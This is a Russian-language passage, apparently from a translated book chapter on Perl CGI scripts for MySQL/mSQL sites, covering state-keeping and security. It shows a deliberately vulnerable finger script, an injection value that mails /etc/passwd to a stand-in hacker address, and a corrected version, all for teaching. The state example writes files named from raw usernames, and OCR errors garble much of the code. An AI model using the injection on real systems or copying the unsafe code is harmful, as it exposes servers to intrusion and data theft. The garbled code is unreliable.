MySQL & mSQL

         

Важные особенности сценариев CGI


Вы уже знаете, в основном, как работает CGI. Клиент посылает данные, обычно с помощью формы, веб-серверу. Сервер выполняет CGI-программу, передавая ей данные. CGI-программа осуществляет свою обработку и возвращает свои выходные данные серверу, который передает их клиенту. Теперь от понимания того, как работают CGI-npor-раммы, нужно перейти к пониманию того, почему они так широко используются.

Хотя вам уже достаточно известно из этой главы, чтобы собрать простую работающую CGI-программу, нужно разобрать еще несколько важных вопросов, прежде чем создавать реально работающие программы для MySQL или mSQL. Во-первых, нужно научиться работать с несколькими формами. Затем нужно освоить некоторые меры безопасности, которые помешают злоумышленникам получить незаконный доступ к файлам вашего сервера или уничтожить их.

Запоминание состояния

Запоминание состояния является жизненно важным средством предоставления хорошего обслуживания вашим пользователям, а не только служит для борьбы с закоренелыми преступниками, как может показаться. Проблема вызвана тем, что HTTP является так называемым протоколом «без памяти». Это значит, что клиент посылает данные серверу, сервер возвращает данные клиенту, и дальше каждый идет своей дорогой. Сервер не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие-либо данные, которые можно будет использовать позднее. Это накладывает непосредственное и существенное ограничение на использование World Wide Web.

Рис. 9-2. Множественные запросы форм

Составление сценариев CGI при таком протоколе аналогично неспособности запоминать разговор. Всякий раз, разговаривая с кем-либо, независимо от того, как часто вы общались с ним раньше, вам приходится представляться и искать общую тему для разговора. Нет нужды объяснять, что это не способствует продуктивности. Рисунок 9-2 показывает, что всякий раз, когда запрос достигает программы CGI, это совершенно новый экземпляр программы, не имеющий связи с предыдущим.


В части клиента с появлением Netscape Navigator появилось выглядящее наспех сделанным решение под названием cookies. Оно состоит в создании нового HTTP-заголовка, который можно пересылать туда-сюда между клиентом и сервером, похожего на заголовки Content-Type и Location. Броузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот cookie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI-программах на этом сервере.

Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на машине сервера. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе. Все это происходит незаметным для пользователя образом.

Несмотря на всю полезность этого метода, большинство больших сайтов не использует его в качестве единственного средства запоминания состояния. Для этого есть ряд причин. Во-первых, не все броузеры поддерживают cookie. До недавнего времени основной броузер для людей с недостаточным зрением (не говоря уже о людях с недостаточной скоростью подключения к сети) - Lynx - не поддерживал cookie. «Официально» он до сих пор их не поддерживает, хотя это делают некоторые его широко доступные «боковые ветви». Во-вторых, что более важно, cookie привязывают пользователя к определенной машине. Одним из великих достоинств Web является то, что она доступна из любой точки света. Независимо от того, где была создана или где хранится ваша веб-страница, ее можно показать с любой подключенной к Интернет машины. Однако если вы попытаетесь получить доступ к поддерживающему cookie сайту с чужой машины, все ваши персональные данные, поддерживавшиеся с помощью cookie, будут утрачены.



Многие сайты по- прежнему используют cookie для персонализации страниц пользователей, но большинство дополняет их традиционным интерфейсом в стиле «имя регистрации/пароль». Если доступ к сайту осуществляется из броузера, не поддерживающего cookie, то страница содержит форму, в которую пользователь вводит имя регистрации и пароль, присвоенные ему при первом посещении сайта. Обычно эта форма маленькая и скромная, чтобы не отпугивать большинство пользователей, не заинтересованных ни в какой персонализации, а просто желающих пройти дальше. После ввода пользователем в форму имени регистрации и пароля CGI находит файл с данными об этом пользователе, как если бы имя посылалось с cookie. Используя этот метод, пользователь может регистрироваться на персонализированном веб-сайте из любой точки света.

Помимо задач учета предпочтений пользователя и длительного хранения сведений о нем можно привести более тонкий пример запоминания состояния, который дают популярные поисковые машины. Осуществляя поиск с помощью таких служб, как AltaVista или Yahoo, вы обычно получаете значительно больше результатов, чем можно отобразить в удобном для чтения виде. Эта проблема решается тем, что показывается небольшое количество результатов - обычно 10 или 20 - и дается какое-либо средство перемещения для просмотра следующей группы результатов. Хотя обычному путешественнику по Web такое поведение кажется обычным и ожидаемым, действительная его реализация нетривиальна и требует запоминания состояния.

Когда пользователь впервые делает запрос поисковому механизму, тот собирает все результаты, возможно, ограничиваясь некоторым предустановленным предельным количеством. Фокус состоит в том, чтобы выдавать эти результаты одновременно в небольшом количестве, запомнив при этом, что за пользователь запрашивал эти результаты и какую порцию он ожидает следующей. Оставляя в стороне сложности самого поискового механизма, мы встаем перед проблемой последовательного предоставления пользователю некоторой информации по одной странице. Рассмотрим пример 9-4, в котором показан сценарий CGI, выводящий десять строк файла и предоставляющий ему возможность просмотреть следующие или предыдущие десять строк.





Пример 9-4. Сохранение состояния в сценарии CGI

#!/usr/bin/perl -w

use CGI;

open(F,"/usr/dict/words") or die("He могу открыть! $!");

# Это файл, который будет выводиться, может быть любым.

$output = new CGI;

sub print_range { # Это главная функция программы, my $start = shift;

# Начальная строка файла, my $count = 0;

# Указатель, my $line = "";

# Текущая строка файла, print $output->header,

$output->start_html('Moй словарь');

# Создает HTML с заголовком 'Мой словарь', print "<pro>\n";

while (($count < $start) and ($line = <F>)) { $count++; }

# Пропустить все строки перед начальной, while (($count < $start+10) and ($line ? <F>) ) { print $line; $count++; }

# Напечатать очередные 10 строк.

my $newnext = $start+10; my $newprev = $start-10;

# Установить начальные строки для URL 'Next' и 'Previous',

print "</pre><p>";

unless ($start == 0) { # Включить URL 'Previous', если только вы

# уже не в начале .

print qq%<a href="read.cgi?start=$newprev">Previous</a>%; }

unless (eof) { # Включить URL 'Next', если только вы # не в конце файла.

print qq% <a href="read.cgi?start=$newnext">Next</a>%;

}

print «HTML; </body><html> HTML

exit(0); }

# Если данных нет, начать сначала,

if (not $output->param) {

&print_range(0); }

# Иначе начать со строки, указанной в данных.

&print_range($output->param('start'));

В этом примере запоминание состояния производится с помощью простейшего метода. Проблемы с сохранением данных нет, поскольку мы держим их в файле на сервере. Нам нужно только знать, откуда начать вывод, поэтому сценарий просто включает в URL начальную точку для следующей или предыдущей группы строк - все, что необходимо для генерации очередной страницы.

Однако если вам требуется нечто большее, чем возможность просто листать "файл, то полагаться на URL бывает обременительно. Облегчить эту трудность можно через использование формы HTML и включение данных о состоянии в теги <INPUT> типа HIDDEN. Этот метод с успехом используется на многих сайтах, позволяя делать ссылки между взаимосвязанными CGI-программами или расширяя возможности использования одной CGI-программы, как в предыдущем примере. Вместо ссылки на определенный объект, такой как начальная страница, данные URL могут указывать на автоматически генерируемый ID пользователя.



Так работают AltaVista и другие поисковые машины. При первом поиске генерируется ID пользователя, который скрыто включается в последующие URL. С этим ID связаны один или несколько файлов, содержащих результаты запроса. В URL включаются еще две величины: текущее положение в файле результатов и направление, в котором вы хотите перемещаться в нем дальше. Эти три значения — все, что нужно для работы мощных систем навигации больших поисковых машин.

- Впрочем, не хватает еще кое-чего. Использовавшийся в нашем примере файл /usr/diet/words очень велик. Что если на середине чтения мы его бросим, но захотим вернуться к нему позднее? Если не запомнить URL следующей страницы, никакого способа вернуться назад нет, даже AltaVista это не позволит. Если вы перезагрузите свой компьютер или станете работать с другого, невозможно вернуться к результатам прежнего поиска, не вводя заново запрос. Однако такое долговременное запоминание состояния лежит в основе персонализации вебсайтов, о которой мы говорили выше, и стоит посмотреть, как им можно воспользоваться. Пример 9-5 является модифицированным вариантом примера 9-4.

Пример 9-5. Устойчивое запоминание состояния

#!/usr/bin/perl -w

use CGI;

umask 0;

open(F,"/usr/dict/words") or die("He могу открыть! $!");

chdir("users") or die("He могу перейти в каталог $!");

# Это каталог, где будут храниться все данные

# о пользователе.

Soutput = new CGI;

if (not$output->param) {

print $output->header,

$output->start_html('Мой словарь');

print «HTML;

<FORM ACTION="read2.cgi" METHOD=POST>

<р>Введите свое имя пользователя:

<INPUT NAME="username" SIZE=30>

<P>

</formx/body></html> HTML

exit(0); }

$user = $output->param('username');

## Если файла пользователя нет, создать его и установить

## начальное значение в '0',

if ( not -e "$user" ) {

open (U, ">$user") or die("He могу открыть! $!");



print U "0\n";

close U;

&print_range('0');

## если пользователь существует и в URL не задано

## начальное значение, прочесть последнее значение и начать с него.

} elsif ( not $output->param('start') ) {

open(U,"Suser") or die("He могу открыть пользователя! $!");

$start = <U>; close U;

chomp $starl;

uprint range($start);

## Если пользователь существует и в URL не указано

## начальное значение, записать начальное значение

## в файл пользователя и начать вывод.

} else{

open(U,">$user") or die("He могу открыть пользователя для записи! $!");

print U $output->param('start'), "\n";

close U;

&print_range($output->param('start1)); }

sub print_range {

my $start = shift;

my $count = 0;

my $line = " "

print $output->header,

$output->start_html(' Мой словарь ');

print "<pre>\n";

while (($count < $start) and ($line = <F>)) { $count++; }

while (($count < $start+10) and ($line = <F>) )

{

print $line; $count++;

}

my $newnext = $start+10;

my $newprev = $start-10;

print "</pre><p>";

unless (Sstart == 0)

{

print

qq%<a href="read2.cgi?start=$newprev&username=$user">

Previous</a>%;

}

unless (eof) { print qq% <a href="read2.cgi?start=$newnext&username=$user">Next</a>%;

# Заметьте, что имя пользователя 'username' добавлено к URL.

# В противном случае CGI забудет, с каким пользователем имел дело.

}

print $output->end_html;

exit(0');

}

Меры безопасности

При работе серверов Интернет, будь они серверами HTTP или другого рода, соблюдение мер безопасности является важнейшей заботой. Обмен данными между клиентом и сервером, совершаемый в рамках

CGI, выдвигает ряд важных проблем, связанных с защитой данных. Сам протокол CGI достаточно защищен. CGI-программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI-программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI-программа может позволить злоумышленнику получить доступ к системе сервера. Рассмотрим следующий пример CGI-программы:



#!/usr/bin/perl -w

use CGI;

my $output = new CGI;

my $username = $output»param('username');

print $output->header, $output->start_html('Finger Output'),

"<pre>", 'finger $username', "</pre>", $output->end_html;

Эта программа обеспечивает действующий CGI-интерфейс к команде finger. Если запустить программу просто как finger.cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger.cgi?username=fred, то она выведет информацию о пользователе «fred» на сервере. Можно даже запустить ее как finger. cgi?userna-me=bob@f oo.com для вывода информации об удаленном пользователе. Однако если запустить ее как finger.cgi?username=fred;mail+hac-ker@bar.com</etc/passwd, могут произойти нежелательные вещи. Оператор обратный штрих «'' » в Perl порождает процесс оболочки и выполняет команду, возвращающую результат. В данной программе 'finger $username* используется как простой способ выполнить команду finger и получить ее результат. Однако большинство командных процессоров позволяет объединять в одной строке несколько команд. Например, любой процессор, подобный процессору Борна, делает это с помощью символа «; ». Поэтому "finger fred;mail hacker@bar.com</ etc/ passwd" запустит сначала команду finger, а затем команду mail hacker@bar.com</etc/passwd, которая может послать целиком файл паролей сервера нежелательному пользователю.

Одно из решений состоит в синтаксическом анализе поступивших от формы данных с целью поиска злонамеренного содержания. Можно, скажем, искать символ «;» и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. Приведенную выше CGI-программу можно переписать так:

#!/usr/local/bin/perl -w

use CGI;

my $output = new CGI;

my $username = $output->param('username');

$|++;

# Отключить буферизацию с целью направления всех данных клиенту,

print $output->header, $putput->start_html('Finger Output'), "<pre>\n";



$pid = open(C_OUT, "-|");# Эта идиома Perl порождает дочерний процесс и открывает

# канал между родительским и дочерним процессами,

if ($pid) {# Это родительский процесс.

print <C_OUT>; ft Вывести выходные данные дочернего процесса.

print "</pre>", $output->end_html;

exit(O); ft Завершить программу. }

elsif (defined $pid) { # Это дочерний процесс.

$|++; # Отключить буферизацию.

ехес('/usr/bin/finger',$username) or die("exec() call failed.");

# Выполняет программу finger с Susername в качестве одного единственного

# аргумента командной строки. } else { die("неудачная попытка fork()"); }

# Проверка ошибок.

Как видите, это не на много более сложная программа. Но если запустить ее как finger.cgi?username=fred;mail+hacker@bar.com</etc/passwd, то программа finger будет выполняться с аргументом fred;mail hacker@bar.com</etc/passwd как одним именем пользователя.

В качестве дополнительной меры безопасности этот сценарий запускает finger явно как /usr/bin/finger. В маловероятном случае, когда веб-сервер передает вашей CGI-программе необычный PATH, запуск просто finger может заставить выполниться не ту программу, которая нужна. Еще одну меру безопасности можно принять, изучив переменную окружения PATH и убедившись, что она имеет приемлемое значение. Неплохо удалить из PATH текущий рабочий каталог, если только вы уверены, что это не тот случай, когда действительно нужно выполнить находящуюся в нем программу.

Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб-сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как «nobody», имеющий ограниченные права, поэтому у CGI-программы тоже мало прав. Обычно это хорошо, ибо, если злоумышленник сможет получить доступ к серверу через CGI-программу, ему не удастся причинить много вреда. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.



Однако работа в качестве пользователя с ограниченными правами ограничивает и возможности CGI. Если программе CGI нужно читать или записывать файлы, она может делать это только там, где у нее есть такое разрешение. Например, во втором примере запоминания состояния для каждого пользователя ведется файл. CGI-программа должна иметь разрешение на чтение и запись в каталоге, содержащем эти файлы, не говоря уже о самих файлах. Это можно сделать, создав каталог в качестве того же пользователя, что и сервер, с правами чтения и записи только для этого пользователя. Однако для такого пользователя, как «nobody», только root имеет подобную возможность. Если вы не суперпользователь, то вам придется общаться с администратором системы при каждом изменении в CGI.

Другой способ - сделать каталог свободным для чтения и записи, фактически сняв с него всякую защиту. Поскольку из внешнего мира получить доступ к этим файлам можно только через вашу программу, опасность не так велика, как может показаться. Однако если в программе обнаружится прореха, удаленный пользователь получит полный доступ ко всем файлам, в том числе возможность уничтожить их. Кроме того, законные пользователи, работающие на сервере, также получат возможность изменять эти файлы. Если вы собираетесь воспользоваться этим методом, то все пользователи сервера должны заслуживать доверия. Кроме того, используйте открытый каталог только для файлов, которые необходимы CGI-программе; иными словами, не подвергайте риску лишние файлы.

Что еще можно почитать

Если это ваше первое обращение к CGI-программированию, дальнейшее изучение можно продолжить разными путями. По этому предмету написаны десятки книг, многие из которых не предполагают никакого знакомства с программированием. «CGI Programming on the World Wide Web» издательства O'Reilly and Associates охватывает материал от простых сценариев на разных языках до действительно поразительных трюков и ухищрений. Общедоступная информация имеется также в изобилии в WWW. Неплохо начать с CGI Made Really Easy (Действительно просто о CGI) по адресу http://www.jmarshall.com/easy/cgi/.




Содержание раздела